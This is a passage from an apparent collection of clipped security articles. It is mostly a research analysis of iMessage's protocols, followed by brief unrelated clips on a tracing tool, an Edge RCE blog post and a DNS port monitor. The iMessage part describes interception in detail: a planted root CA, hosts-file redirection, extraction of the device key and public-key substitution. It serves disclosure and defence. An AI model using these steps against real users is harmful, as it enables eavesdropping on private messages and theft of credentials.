involved tried to minimize their role, and used a simple excuse: _we just
followed the law_**.** However, one company has claimed it was impossible for
them to eavesdrop their own instant messaging, and thus they are unable to
collaborate with US government, even if requested to do so**.**

After Snowden's leaks, Apple published a statement, called _Apple’s Commitment
to Customer Privacy_**.** As questions were around for some time on iMessage,
Siri or Facetime, they clearly answered \[3\]:

> **There are certain categories of information which we do not provide to law
> enforcement or any other group because we choose not to retain it**.** For
> example, conversations which take place over iMessage and FaceTime are
> protected by end-to-end encryption so no one but the sender and receiver can
> see or read them.Apple cannot decrypt that data**.****
According to that statement, Apple can provide some metadata \(_who sends a
message to who, the date, ..**.**_\) but the content of a conversation would
be excluded**.** We will show in this article it is not true**.** Apple can
get access to encrypted message, despite end-to-end encryption**.** Does it
mean they do it**?** Only Apple and some 3 letters agencies can answer, we can
not**.**

Now, let's go into the details of our analysis**.**

* * *
## 2\. Lack of certificate pinning: so what**?**

First thing first, we notice than pretty much all the traffic is
encrypted**.** Good point. All communications to Apple's servers are made
through a secure SSL tunnel**.** We do not need to know what protocol is used
or how packets are forged**.** The first thing we want to try when we see that
is adding a certificate to perform a MITM**.** We were actually very surprised
it worked as easily, which means there is no certificate pinning**.** We
created a fake CA, and added it to the iPhone keychain**.** Then, we could
proxify communications much more easily**.** When a SSL communication arrives
to the proxy, we generate a certificate signed by the newly added CA, and
everything becomes unencrypted**.**

Second surprise was actually bigger: we saw our AppleID and password going
through this SSL communication**.** Yes, the clear text password... There can
be a lot of good reason to send the password as cleartext, ssh does it for
instance**.** But here, we dont see any reason for Apple to get our
password**.**

Firstly, it means that Apple can replay our password using for instance our
email also on many websites**.** Ok, Apple has no reason to do so. But what of
intelligence agencies**?** Secondly, it also means that anyone capable of
adding a certificate and able to proxify the communications can get user's
AppleID and password, thus get access to iCloud accounts, backups, buy apps,
....

Here is an example of what we get:

[code]

    POST /WebObjects/VCProfileService.woa/wa/authenticateUser
    'content-length': 223,
    'accept-language': en-us,
    'accept-encoding': gzip,
    'content-encoding': gzip,
    'host': service.ess.apple.com,
    'accept': */*,
    'user-agent': com.apple.invitation-registration [Mac OS X,10**.** 8.3,12D78,Macmini4,1],
    'connection': keep-alive,
    'x-protocol-version': 7,
    'content-type': application/x-apple-plist,
    'x-ds-client-id': t:3A5DC02C47249FC50EF0FF1B8CF3073C9EBD0668
    
[/code]

And here are content of posted data:

[code]

    <**?** xml version="1.0" encoding="UTF-8"?>
    <**!** DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1**.** 0.dtd">
    <plist version="1.0">
    <dict>
        <key>password</key>
        <string>Icandoaproperkeynote</string>
        <key>username</key>
        <string>tim_c@icloud.com</string>
    </dict>
    </plist>
    
[/code]

We tried to play with the certificates for a while**.** We came up with
_iPhone Configuration Utility_**.** This software is Apple's solution for
enterprise to manage their iPhone**.** When this software is used for the 1st
time and a device is plugged, a CA is added to the device**.** MDM
administrators can do this transparently to enrolled devices

<img src='img/Temp2_10339.png' alt='static/resources/2013-10-17_imessage-
privacy/images/cert_verified.png' />

The consequence is that in a company where iPhones are managed by IT, they wan
setup a proxy and invisibly proxify communications from / to the iPhone, thus
gain access to very personal information**.** Note the certificate pinning is
not performed at any layer, PUSH or iMessage, so various problems can happen
here and there**.**

* * *
## 3**.** The protocols: the client, PUSH & ESS servers****

In this part, we will describe the usual process, with all the protocols and
cryptographic steps involved**.**

* * *
### 3**.** 1 The client on the device****

Each device has its own certificate, which is 1024 RSA with a _CN= <Push
GUID>_ \(_obviously, GUID has to be replaced with device's GUID_\)**.** The
client is MobileSMS / Message.app, but this application also relies on other
services**.** The 2 mains are:

  * **apsd** : the Apple PUSH server daemon, in charge of carrying the messages from Apple to the devices**.**
  * **imagent** : the background process for iMessage tasks, like keeping connection when app is closed, etc**.**

When a message is sent to someone, Apple is in charge of transporting the
message**.** It means 2 things:

  * Given a destination address \(_an URi, it can be a phone number or an email for instance_\), Apple has a way to link it with all devices related to that URI \(_iPhones, iPads or OS X systems_\)**.**
  * Once Apple knows all the devices involved, Apple brings the message to the proper devices**.**

Let's start with the second point, the transport protocol, called PUSH**.**

* * *
### 3.2 The PUSH protocol****

PUSH protocol \[4\] has been designed as a remote notification protocol over
networks**.** It is used for iMessage of course, but also for FaceTime,
GameCenter or by send party application when they want to notify of an
event**.** Think about Facebook, Whatsapp or any news application notifying
you than something just happened**.** Each time, it is based on the very same
protocol, PUSH**.**

Here is how Apple defines it:

> **Local and push notifications are great for keeping users informed with
> timely and relevant content, whether your app is running in the background
> or inactive**.** Notifications can display a message, play a distinctive
> sound, or update a badge on your app icon**.****
PUSH behaves as a transport protocol, in charge of delivering a payload,
whatever it is, to set of devices**.** Hence, iMessage itself is a payload in
regard of the transport protocol**.**

All PUSH communications are made in TLS to server port 5223 when it comes to
iMessage:

  * Hostnames are taken from _\[0, ..**.** , 255\]-courier.push.apple.com_
  * The client certificate, specific to a device, which is explained right after**.**

* * *
#### The client certificate****

The PUSH certificate is generated when the device is registered and activated
at Apple**.** During the 1st connection to Apple's server, a certificate
request is sent to _albert.apple.com_**.** This server runs a certificate
authority, called _Apple Iphone Device CA_ , in charge of signing every
request**.**

This certificate is very sensitive as it is the one in charge of ALL PUSH
communications from the device: PUSH communications are secured with it, with
both client and server authentication**.**

As such, this certificate is not directly involved in iMessage, but since
iMessage is carried over PUSH, it has a role to play anyway**.**

* * *
#### The Push-Token****

From the PUSH layer, how it works is kind of magic known only by Apple**.**
From client side, here is what we see. First, we write a message, and press
the _send_ button**.** Doing so, the client requests from Apple's ESS servers
the information needed to send the message**.** The ESS Server sends back 3
pieces of information:

  * A Push-Token, which is a unique identifier for a pair iDevice**.**
  * Two cryptographic keys we will describe right after**.**

The Push-Token is computed by Apple when a device registers to the
service**.** The generation of the Push-Token is defined as _opaque_ by Apple
since it is made server side, same goes for its precise usage**.** For now, we
see it as the registration of a provider and a routing information**.**

As a provider as one needs to register itself as a iMessage provider, but also
as a routing information as Apple needs to know where to deliver the
messages**.** As a matter of fact, Apple fanatics users often have more than
one device, and a iMessage must be delivered to all the devices at once**.**

So, when the client sends _one_ message, it actually sends as many messages as
the recipients has Push-Tokens, so that the message can be delivered to each
iDevice**.** These messages are sent to the _Apple Push Network Service_
\(_APNS_\) through a gateway on port 5223 as explained earlier**.**

For instance, on a OS X system, one can see:

[code]

    root@joker:~>> ps aux |grep apsd
    root 90 0**.** 0 0.1 2467868 8052 **?****?** Ss Thu09AM 0:06.06 /System/Library/PrivateFrameworks/ApplePushService.framework/apsd
    root 20295 0**.** 0 0.0 2432768 588 s003 S+ 3:08PM 0:00**.** 00 grep apsd
    
    root@joker:~>> lsof -p 90 |grep TCP
    apsd 90 root 9u IPv4 0x667b30bc14a94f93 0t0 TCP joker.lan:65158->17**.** 172**.** 232.179:5223 (ESTABLISHED)
    
    root@joker:~>> whois 17**.** 172.232**.** 179
    NetRange:       17.0.0.0 - 17**.** 255.255.255
    CIDR:           17.0**.** 0.0/8
    OriginAS:
    NetName:        APPLE-WWNET
    NetHandle:      NET-17-0-0-0-1
    Parent:
    NetType:        Direct Assignment
    RegDate:        1990-04-16
    Updated:        2012-04-02
    Ref:            http://whois.arin.net/rest/net/NET-17-0-0-0-1
    OrgName:        Apple Inc**.**
    OrgId:          APPLEC-1-Z
    Address:        20400 Stevens Creek Blvd**.** , City Center Bldg 3
    City:           Cupertino
    StateProv:      CA
    PostalCode:     95014
    Country:        US
    RegDate:        2009-12-14
    Updated:        2011-03-08
    Ref:            http://whois.arin.net/rest/org/APPLEC-1-Z
    ..**.**
    
[/code]

When the APNS servers receive that, PUSH magic comes into play**.** That is
not described in the documentation, but we can assume, reading from \[5\] that
Apple relies on a connection between the APNS and the devices**.** Based on
the Push-Token for each message, Apple is able to select to what device a PUSH
notification must be sent to**.**

* * *
#### MITM at the PUSH layer****

What about attacking that PUSH layer**?** Attacking it means being in between
the client and Apple' servers in order to read the messages**.** But since the
communication relies on TLS, some efforts are needed to provide
certificates**.**

There is a very convenient tool for that: PushProxy \[6\] It provides a simple
API to mess with both received and sent messages**.** Since a lot a
prerequisites are needed to perform that on a real communication, we will work
locally on the device itself for now**.**

First, we need to add a root CA to the system's keychain, so that proxy's
certificates are trusted**.** That way, the real client will trust the
messages from the proxy**.** This is easy, but we also need to communicate
with Apple**.** And as we said, the authentication is mutual, so we need
either to inject a new certificate to _albert.apple.com_ , or to use an
already signed certificate**.**

We pick the 2nd option: we extract the private part of the device's PUSH
certificate and give it to the proxy**.** Last but not least, we need to
redirect all connections to the proxy, which we did by modifying the
_/etc/hosts_ file of the device**.**

We are now ready to see what is in the PUSH messages**.** So, the PUSH layer
of an iMessage payload looks like that \(_XX bytes are not set as they depends
on the content of the message_\):

[code]

    0a                    >> Message Type
    XX XX XX XX           >> Next Length
    04 00 04 XX XX XX XX  >> Identifier (4 bytes)
    01 00 14 XX .. .. XX  >> Topic Hash (20 bytes)
    02 00 20 XX .. .. XX  >> Push-Token (32 bytes)
    03 XX XX ..**.**          >> iMessage payload
    
[/code]

Before going into iMessage payload, we need to give a brief explanation on
iMessage IDs**.**

* * *
### 3**.** 3 The iMessage IDs****

From now on, we will refer to iMessage simply as IM**.** There are a lot of
information involved at the IM layer:

  * **AppleID** : as already explained, that is the very heart of an account for Apple**.**
  * **URI** : same format as an AppleID, which is either an email address or a phone number**.** One AppleID can have several URI. When it is an email, it is verified with a link to click**.** When it is a phone number, they are authorized only from the SIM card**.**
  * **Push-Token** : as explained earlier, it is used for iMessage to identify a device on which an URI is registered**.** As such, a Push-Token is unique for each URI used on a device**.**

* * *
### 3**.** 4 Sending an iMessage****

When a user wants to send an iMessage, he firstly provide one or several
destination URI**.** Since the communication is end-to-end encrypted, it means
either the devices directly exchange the needed keys, or there is a key
directory involved somewhere**.**

There is actually such a directory, called ESS servers \(_dont ask us what ESS
stands for, ask Apple_\)**.** So, to retrieve the keys, the iDevice sends the
following request to the server:

[code]

    GET /WebObjects/QueryService.woa/wa/query**?** uri=tel:+33123456789
    'Host': service1.ess.apple.com
    'Content-Type': application/x-apple-plist
    'x-id-cert': [Provision Certificate]
    'x-id-nonce': [Random Nonce with Timestamp]
    'x-id-sig': [Query Signed with Provision Cert**.**]
    
[/code]

In this example, the iDevice wants to retrieve the keys for URI
"+33123456789"**.**

It is important to notice this request is signed with yet another certificate,
called _Provision_**.** This certificate is generated client-side, and signed
by the authority called _Apple IDS DS-ID Realm CA_ during iMessage
authentication**.** It is valid for one month.

The corresponding answer looks like:

[code]

    {
      'push-token': [PushToken]
      'client-data':
      {
        'show-peer-errors': True,
        'public-message-identity-version': 1**.** 0,
        'public-message-identity-key': [Public Keys Buffer]
      }
    }
    
[/code]

It is actually a XML plist**.** We converted it to JSON to make it more
readable. In our example, there is only one identity returned**.** However, if
the destination URI have several devices and registered accounts under his
AppleID, the same information would be given for each of them**.**

The answer contains the Push-Token, well-known now**.** But it also carries a
buffer full of public keys:

  * One **ECDSA** \(_256-bit_\) used to verify the signature of messages sent by the destination URI on this device**.** That way, when the destination URI replies, we'll already have the ECDSA key to check the signature**.**
  * One **RSA** \(_1280-bit_\) used to encrypt iMessage sent to the destination URI**.**

With both these keys, we can setup a secured \(**?**\) communication with the
destination URI, and all the related devices**.**

* * *
### 3**.** 5 The iMessage Payload****

We finish our explanation of the PUSH protocol by providing an iMessage
payload**.** Now, we will see what this payload is made of**.**

This payload is in an Apple specific format, called bplist \(_binary-
plist_\)**.** It is designed to embed serialized data as dictionary**.**
Several kinds of data are defined, including the usual ones: _NSString_ ,
_NSNumber_ , _NSDate_ , _NSArray_ , _NSData_ and _NSDictionnary_ , and so
on**.**

Here is an example of such a bplist:

[code]

    D:   True
    E:   'pair'
    P:   <variable length binary data> (iMessage payload, deflate compressed)
    U:   <128bit binary data> (iMessage UID)
    c:   100
    i:   <32bit integer> (messageId, same as in PUSH header)
    sP:  mailto:tim_c@icloud.com  (sender URI)
    t:   <256bit binary data> (sender Push-Token)
    tP:  mailto:mark_z@facebook.com (receiver URI)
    ua:  [Mac OS X,10**.** 8.5,12F37,MacBookPro10,2] (sender OS and hardware version)
    v:   1
    
[/code]

The **ua** field is totally useless but is sent on every request, for Apple
statistics**?**

Anyway, the **P** field is the IM payload**.** It is encrypted then compressed
\(_yes, yes, encrypted first, compressed after_\)**.** It is composed with the
following keys:

[code]

    (byte)     0x02          version**?**
    (short)    ciphertext    length
    (data)     ciphertext    RSA / AES-CTR data : ciphered with the RSA public key of the recipient
    (byte)     signature     length
    (data)     signature     ECDSA signature of <ciphertext> : computed with the ECDSA private key of the emitter
    
[/code]

In cleartext, the data is also a bplist, which we called _inner bplist_ :

[code]

    p: array of URIs in the discussion group
    t: iMessage text (for iOS)
    v: version (1)
    x: iMessage html (attachments, and style - for OS X)
    
[/code]

Let's spend some lines on the _RSA / AES-CTR_ data**.** This data is the
actual message sent to the target \(_the URIs, the message itself, attachment
if any_\)**.** Let us describe how it is built:

  1. Let's call ibplist the cleartext data**.**
  2. A 16 random byte are generated to be the AES key**.**
  3. The data is encrypted with AES in CTR mode, giving _AES\(ibplist\)_
  4. The 128-bit key is put at the beginning of the output buffer

<img src='img/Temp2_10338.png' alt='static/resources/2013-10-17_imessage-
privacy/images/aes2.png' />

5**.** The 128-bit key and 808-bit of AES encrypted data are ciphered with
RSA-1280 using a public exponent of 65537 and PKCS1 OAEP padding**.** It gives
a 1280-bit buffer.

<img src='img/Temp2_10342.png' alt='static/resources/2013-10-17_imessage-
privacy/images/aes1.png' />

  1. That buffer is then signed with the owner's ECDSA key**.**

The RSA key used here is the one retrieved from ESS server, as mentioned
above**.**

* * *
#### Sending attachment with iMessage****

As most instant messaging service, iMessage allows to send attachment**.**
Most of the time, people are sending picture from their iPhone**.** But any
kind of file can actually be used.

When an attachment is sent, it is actually stored on iCloud servers, on a
dedicated repository**.** The attachment is encrypted with AES, and the key is
sent to the destination as payload in the iMessage, altogether with the link
to the file**.** Since this is encrypted with the destination RSA key, this is
as safe as the RSA key itself**.**

All this is performed with the _< FILE>_ in the HTML message:

[code]

    <file
       name="<name>"
       width="<width>"
       height="<height>"
       datasize="<size>"
       mime-type="<mime type>"
       uti-type="<uti type>"
       mmcs-owner="<identifier>"
       mmcs-url="<URL>"
       mmcs-signature-hex="<signature>"
       file-size="<size>"
       decryption-key="<key>"
    />
    
[/code]

Note that it seems to be OS X specific**.**

* * *
#### Easter eggs or tricks****

  * Adding a subject: there is an option to add a subject to the iMessage in the configuration panel**.** This is triggered with the **s** key and a text to the inner plist**.**
  * For IRC geeks, _/me_ is working ..**.** only on OS X. Send a message starting with "/me" and it will be displayed differently on OS X and iOS**.**
  * The existence of a URI is not verified in the discussion group, which means you can add fake URI**.** Of course, a real URI has to be in the list but you can then make believe to the destination you actually send an iMessage to Tom Cook for instance**.**

* * *
## 4**.** MITM attacks****

iMessage is complex because it relies on PUSH and a lot of crypto is involved
at all layers**.** In this section, we will study what are the conditions to
perform a MITM attack on iMessage, now that we hopefully made the protocol
less _opaque_**.**

In order to do that, we will set an attacker in various positions: between the
sender and Apple, between Apple and the receiver**.** If you want a quick and
dirty overview, you might want to have a look at our original paperwork
describing the MITM**.**

<img src='img/Temp2_10345.png' alt='static/resources/2013-10-17_imessage-
privacy/images/hand_schema.png' />

* * *
### 4**.** 1 Test protocol****

As we have seen, the 2 main services for iMessage are the PUSH servers and the
ESS ones**.** So, in order to perform any attack, we need to impersonate these
servers**.** There are lots of ways to do that, from ARP spoofing to injecting
BGP routes \(if you can\), but we simply keep playing with _/etc/hosts_ , as
for the PUSH proxy earlier**.**

Here are the tools we used:

  * Python to be able to run following tools
  * PushProxy with Quarkslab’s _imessage-mitm**.** py_ handler to intercept iMessages
  * Quarkslab’s _ess-mitm**.** py_ to intercept and modify Apple ESS responses
  * A DNS proxy software**.** We used _dnschef_**.**

From the crypto point of view, we added a root CA to the target keychain so
that we are able to serve our own certificates with no complaint from the
iDevice**.**

From there, we have all our tools running locally, we are ready**.**

* * *
### 4.2 One-sided MITM****

Here, the attacker is _between_ the sender and Apple's server, on sender's
iDevice**.** Let's call the sender **Dhillon** , and the receiver
**Belinda****.** We will explain step by step how it is going on. An evil guy
called **Evil** , is in the middle**.**

First, let's start with the emission of a message:

<img src='img/Temp2_10340.png' alt='static/resources/2013-10-17_imessage-
privacy/images/mitm1.png' />

  1. **Dhillon** writes a message to **Belinda****.**
  2. **Dhillon** 's iDevice makes a request to _ess.apple.com_
  3. **Evil** intercepts that request:

>   1. **Evil** requests from _ess.apple.com_ **Belinda** 's information
> \(_Push-Token, RSA and ECDSA keys_\)
>   2. **Evil** replaces **Bel** 's RSA and ECDSA keys with his own
>

  1. **Dhillon** sends his message to **Belinda** : it is encrypted with assumed **Bel** 's RSA \(**Evil** 's actually\) key, signed with **Dhillon** 's ECDSA key**.**
  2. **Evil** intercepts the IM payload:

>   1. He can decrypt it with his own key
>   2. He can alter it and recipher it with **Belinda** 's real RSA key
>   3. Since he is on the device, he can use **Dhillon** 's ECDSA private key
> to re-sign the message**.**
>

  1. **Belinda** gets the message, it is properly signed and she can read it**.**

As everyone can notice, a very strong requirement here is that the attacker,
**Evil** , gets access to sender's ECDSA private key**.**

Let's see now what is happening when **Belinda** is answering to the message:

<img src='img/Temp2_10343.png' alt='static/resources/2013-10-17_imessage-
privacy/images/mitm2.png' />

  1. **Belinda** writes a message**.** It is ciphered with **Dhillon** 's RSA key, and signed with **Belinda** ECDSA key**.**
  2. The message is sent to Apple Push servers, then to **Dhillon** 's mobile
  3. **Evil** intercepts that message:

>   1. **Evil** can decrypt the message as he has access to **Dhillon** 's RSA
> private key**.**
>   2. **Evil** can change the message, and recipher with with **Dhillon** 's
> RSA public key**.**
>   3. **Evil** signs the modified message with his own ECDSA key as
> **Dhillon** 's believe it is **Bel** 's \(see step 3**.** 2 in the previous
> description\).
>

  1. **Dhillon** receives the forged message:

>   1. He checks the signature with **Evil** 's ECDSA key \(believing it is
> **Bel** 's\): everything is fine**.**
>   2. He decipher the message with his own private RSA key**.**
>

Once again, in reception, there is a strong requirement: the attacker,
**Evil** , needs to get access to the RSA private key**.**

* * *
### 4.3 Two-sided MITM****

Now, we are thinking big: we want to perform a MITM on **Dhillon** and
**Belinda** at the same time**.** So, we assume now that **Evil** is running
his MITM on both **Dhillon** 's and **Belinda** 's iDevice**.**

As example, **Dhillon** is sending a message to **Belinda** :

<img src='img/Temp2_10341.png' alt='static/resources/2013-10-17_imessage-
privacy/images/mitm3.png' />

  1. **Dhillon** writes a message to **Belinda****.**
  2. **Dhillon** 's iDevice makes a request to _ess.apple.com_
  3. **Evil** intercepts that request:

>   1. **Evil** requests from _ess.apple.com_ **Belinda** 's information
> \(Push-Token, RSA and ECDSA keys\)
>   2. **Evil** replaces **Bel** 's RSA and ECDSA keys with his own**.**
>

  1. **Dhillon** sends his message to **Belinda** : it is encrypted with assumed **Bel** 's RSA \(**Evil** 's actually\) key, signed with **Dhillon** 's ECDSA key**.**
  2. **Evil** intercepts the IM payload:

>   1. He can decrypt it with his own key
>   2. He can alter it and recipher it with his own key**.**
>   3. He signs with his own key too.
>

  1. The message is sent to APSN and delivered to **Belinda** 's device**.**

Since **Evil** is now on both side, things are symmetric here, so let's go:

  1. **Evil** receives the message on **Bel** 's iDevice**.**
  2. **Evil** deciphers the payload with his own RSA private key**.**
  3. **Evil** encrypts the message with **Bel** 's RSA public key**.**
  4. **Evil** signs the encrypted message with his own ECDSA key, since he provided this key to **Belinda** presenting it as **Dhillon** 's**.**
  5. **Evil** delivers the message to **Belinda**
  6. **Belinda** checks the signature, which is ok and appears to be from **Dhillon** \(since it has been signed with **Evil** 's key, which is **Dhillon** 's ECDSA alleged key\)**.**
  7. **Belinda** deciphers the message**.**

The main requirement here is for **Evil** to be, at the same time, in between
**Dhillon** and Apple on on end, and **Belinda** and Apple at the other
end**.** Still a strong requirement for most attackers, but we didn't need
users' private keys anymore**\!**

* * *
### 4.4 MITM by replacing Apple****

Let us perform an excise assuming an attacker is able to replace Apple to
perform the MITM**.** This assume huge requirements:

  * Huge network control to redirect the traffic of the iDevice \(through DNS or whatever\)**.**
  * Verified PUSH and ESS certificates, for each target**.**

Clearly, not the many people have such capabilities**.** Maybe 3 letters
agencies... Who knows.

How would it work**?** Like a classical MITM:

<img src='img/Temp2_10337.png' alt='static/resources/2013-10-17_imessage-
privacy/images/mitm5.png' />

  1. **Evil** gives his RSA and ECDSA to **Dhillon**
  2. **Evil** gives his RSA and ECDSA to **Belinda**
  3. When **Dhillon** sends a message, **Evil** can read it, change it and resign it before passing it to **Belinda**
  4. When **Belinda** receives it, she deciphers the message with her RSA key, and check the signature with **Evil** 's ECDSA key, even through she believes it is **Dhillon** 's**.**

Since, **Evil** is really in the middle, things are the same when **Belinda**
answers to **Dhillon** :

<img src='img/Temp2_10344.png' alt='static/resources/2013-10-17_imessage-
privacy/images/mitm6.png' />

So, what are the requirements here:

  1. For that to work, he needs a valid CA in the devices of the targets**.**
  2. The attacker needs to redirect the traffic from both targets to himself**.**
  3. He needs to provide keys to each target impersonating the other end of the communication**.**

Obviously, this attack is not realistic for the average attacker**.**

* * *
### 4**.** 5 MITM being Apple, or why end-to-end encryption is not enough****

Actually, not all attackers can fulfill the above requirements**.** But now,
let's have a look at Apple's position there:

  1. For that to work, he needs a valid CA in the devices of the targets**.**
**> Apple has such a certificate**.****

  2. The attacker needs to redirect the traffic from both targets to himself**.**
**> Apple does not need to do that since all traffic is going anyway through
the PUSH server**.****

  3. He needs to provide keys to each target impersonating the other end of the communication**.**
**> Apple owns the key server, ESS**.****

So, definitely, Apple can perform the MITM, they just have to tamper with the
keys the send to the targets**.** Then, you remember how iMessages are
encrypted: a RSA key encrypts an AES key**.**

<img src='img/Temp2_10342.png' alt='static/resources/2013-10-17_imessage-
privacy/images/aes1.png' />

Since Apple can change the keys, Apple can then decrypt the AES key, and as a
consequence, the content of the message**.**

Remember Apple's statement:

> **For example, conversations which take place over iMessage and FaceTime are
> protected by end-to-end encryption so no one but the sender and receiver can
> see or read them.Apple cannot decrypt that data**.****
So, yes, there is end-to-end encryption as Apple claims, but the key
infrastructure is not trustworthy, so Apple can decrypt your data, if they
want, or more probably if they are ordered to**.**

* * *
## 5**.** Preventing MITM from Apple or others****

There are actually not that many solutions**.** The main problem here comes
from Apple as they control the key infrastructure**.** So, the 2 solutions
are:

  1. Make the key infrastructure less opaque and more public
  2. Encrypt message with key not controlled by Apple**.**

These 2 solutions are under active development**.** Stay tuned for more
information**.**

* * *
### 5.1 iMITMProtect****

We have developed a simple Mac OS X application, iMITMProtect which hooks some
functions involved on iMessage**.** The application is very simple / stupid:

  * When Push-Tokens and keys are received, they are stored in a local database**.**
  * Each time a token or a key is received, we look up for the corresponding URI in the database, and check it is the same or not**.** If not, Houston, we have a problem.

As soon as a jailbreak will be available, we will port it as a Cydia
package**.**

* * *
### 5.2 iMessage over-encryption****

If one considers iMessage as an insecure channel, the solution is to encrypt
the data sent to that channel**.** Setting up such an encryption is not easy,
even without considering the _General Conditions of Use_**.**

We cant say more on that now, except it is tricky**\!**

* * *
## 6**.** Last words****

Apple's claim that they cant read end-to-end encrypted iMessage is definitely
not true**.** As everyone suspected: yes they can\!

Suspecting is not knowing, and we hope to have dig enough in the protocol to
show how Apple could do it**.**

But shall we continue to use iMessage**?** MITM attacks on iMessage are
unpractical to the average hacker, and the privacy of iMessage is good enough
for the average user**.**

If the informations being exchanged are sensitive to the point that you don’t
want any government agencies to look into them, don’t**.**

Apple, make a more transparent PKI and document the protocol, and it could be
considered the most practical and secure real-time messaging system
available**.**

* * *
## Can Apple read your iMessages**?** A fast answer**.**

You should skip this part if you dont want to spoil the details**.** If you
are in a hurry and just want the answers, this part is for you**.** We have
analyzed iMessage, Apple's instant messaging service, wondering: how to
eavesdrop iMessage**.**

Here are the facts:

  * Involved cryptography is based on well-known algorithms \(AES, RSA, ECDSA\) with proper key sizes and implementation**.**
  * Code in charge of key generation is open source**.**
  * No certificate pinning is performed between client and PUSH servers \(Apple's servers involved in iMessage\)**.**
  * Authentication between client and Apple's servers is protected with strong obfuscation and whitebox cryptography, preventing the development of 3rd party iMessage clients**.**
  * User password is sent clear-text through a secure SSL channel to Apple**.** This is clearly an issue for people using the same password at several places \(_mail, bank, whatever_\) as Apple knows this password**.**
  * No pinning + cleartext password means that if somebody manages to add a certificate in a device, he can perform a MITM, thus get the user's AppleID and password**.** That is the key to everything belonging to the user**.**
  * Bonus: if the device is connected to _iPhone Configuration Utility_ , Apple's enterprise solution for management of iPhones, a trusted CA is added**.** Consequence is that all subsequent certificates signed by that CA will be trusted to create the SSL communication**.** It means all companies using that are able to retrieve their employee's AppleID and password by simply proxifying the SSL communication**.**
  * iMessage is carried over Push protocol, the very same protocol used but FaceTime, GameCenter or notification services**.**
  * PUSH is tunneled inside SSL to Apple's PUSH servers on port 5223**.**
  * Every Apple device is identified by a unique Push-Token**.**
  * When someone sends _one_ message, the client looks for all Push-Tokens related to that destination \(called an URI\) to transport the message to every device where the URI is registered**.**
  * When one sends an iMessage, the client firstly connects to an Apple key server, called ESS, to get the target public keys**.**
  * The clients retrieves 2 keys:

>   * One ECDSA \(_256-bit_\) used to verify the signature of messages sent by
> the destination URI on this device**.** That way, when the destination URI
> replies, we'll already have the ECDSA key to check the signature**.**
>   * One RSA \(_1280-bit_\) used to encrypt iMessage sent to the destination
> URI**.**
>

  * The iMessage payload is actually a binary plist, designed to embed serialized data as dictionary**.**
  * The iMessage payload is encrypted with a random AES key, the key is appended at the beginning of the encrypted payload, the 1280 first bits are encrypted with destination RSA key**.**

<img src='img/Temp2_10342.png' alt='static/resources/2013-10-17_imessage-
privacy/images/aes1.png' />

  * Every message is signed with sender ECDSA key**.**
  * iMessage can be used to send attachment**.** They are stored on _iCloud_ , encrypted with an AES session key as explained above**.**
  * Since Apple controls ESS servers, and all iMessages are routed to Apple's PUSH servers, Apple is able to perform MITM:

>   * Apple sends fake public RSA / ECDSA key to the sender
>   * Apple can then decipher, alter the payload of the message and sign it
> before sending to its final destination**.**
>

  * So, yes, there is end-to-end encryption as Apple claims, but the weakness is in the key infrastructure as it is controlled by Apple: they can change a key anytime they want, thus read the content of our iMessages**.**

* * *
****

# neuroo/runtime-tracer

**Created:**| _3/25/2012 3:03:16 PM_  
---|---  
**Updated:**| _3/25/2012 3:03:16 PM_  
**Author:**| __  
**Tags:**| _binary instrumentation iDA plugin awesome tracing_  
  

# Dynamic tracing, and IDA integration

Developed by Romain Gaucher, @rgaucher

## Information

Dynamic tracing for binary applications \(windows, linux\). A pintool is used
to generated traces, and a custom IDA plugin displays the trace information.

The pintool captures memory snapshot, and register values.

  * Screenshot of the IDA integration

# Remote code execution On Microsoft edge URL Protocol

**Created:**| _5/10/2019 8:19:54 AM_  
---|---  
**Updated:**| _5/10/2019 8:19:54 AM_  
**Author:**| __  
**Tags:**| _browser IE_  
  

  

# Remote code execution On Microsoft edge using URL Protocol

<img src='img/1*a591EztCbgb6mlwnLSfNhw.jpeg' width='50' height='50' />

Matt harr0ey

May 1·3 min read

<img src='img/Temp2_6814.jpg' width='75' height='47' /><img
src='img/1*Fl0YJdhj8hWc6LLtpfb5GQ.png' width='700' height='445' />

Introduction

Hello everyone and welcome to my first bug ever in ‘RCE’ section and I hope
this is a good beginning.

The topic of this blog post is: ‘RCE’ on Microsoft edge using URL protocol by
some bugs and locations in registry that I found a few time ago, \( Using
Jsffile and Wsffile\). I’m glad guys but If ‘MSRC’ team patched It and I got
bounty that would be a great thing for me but nothing of these options
happened because there are some reason they did patch my bugs on the time.

The reasons are:  
They determined the bugs I sent and knew a lot of information about them but
they gave me just ‘appreciation and/or thanks’ although I saw some people
submitted bugs the same I sent and they got their patches.

See below the message I got from ‘MSRC team’

The message I received was seen in

<img src='img/Temp2_6813.jpg' width='75' height='27' /><img
src='img/1*-KN4zUF58oLT45Cc1tJ_pA.png' width='700' height='261' />

As you can see above the message was sent by ‘MSRC team’ and that contains
some words mean:

They understood the bug but It haven’t got place in the list of
acknowledgement that they created in their website for acknowledgements and
the patches as well.  
By the way, I wouldn’t say I need the money that they give everyday for
researchers and I don’t think It’s the end in ‘Cyber security’.

As I understood when I saw the message. they patched the bug without update
and so far both ‘JSFFILE’ and ‘WSFFILE’ have been removed from ‘Registry
editor’ by ‘MSRC team’. let’s go to see the steps to do ‘RCE’.

First we can take a test if the proof of concept work or no, but I’m sure 100%
It’s not going to work after It was removed.  
I think my answer was 100% correct.

\(JSFFILE and WSFFILE\)

<img src='img/Temp2_6811.jpg' width='75' height='40' /><img
src='img/1*c50hW_95DgDglhqaQdn0tA.png' width='700' height='379' />

<img src='img/Temp2_6815.jpg' width='75' height='23' /><img
src='img/1*OxITkg4-PXzxu8ImJtSlZg.png' width='700' height='222' />

It hasn’t worked since they removed it from ‘Registry editor’.  
but all of these reasons don’t mean: I hadn’t record any proof of concept
before they pathed the bug.

<img src='img/Temp2_6812.jpg' width='75' height='30' /><img
src='img/1*z0wsxV4YGXzFBWtiaI5cRg.png' width='700' height='287' />

You can enjoy watching the video I released before patches.

https://www.youtube.com/watch?v=zJPrAzUfWHc

Conclusion: Matt harr0ey  
Author: Matt harr0ey

# jon.oberheide.org - blog - pdpt: passive dns port test

**Created:**| _6/22/2009 1:04:49 PM_  
---|---  
**Updated:**| _6/22/2009 1:04:56 PM_  
**Author:**| __  
**Tags:**| _DNS network-security_  
  

# PDPT: Passive DNS Port Test

The Passive DNS Port Test \(PDPT\) tool acts as a passive DNS monitor to flag
resolvers that may be vulnerable to the cache poisoning issue described in
CERT VU \#800113. Similar to OARC’s porttest, this monitor will judge the
source port behavior of resolvers based on the standard deviation of observed
source ports.

## The Passive Approach

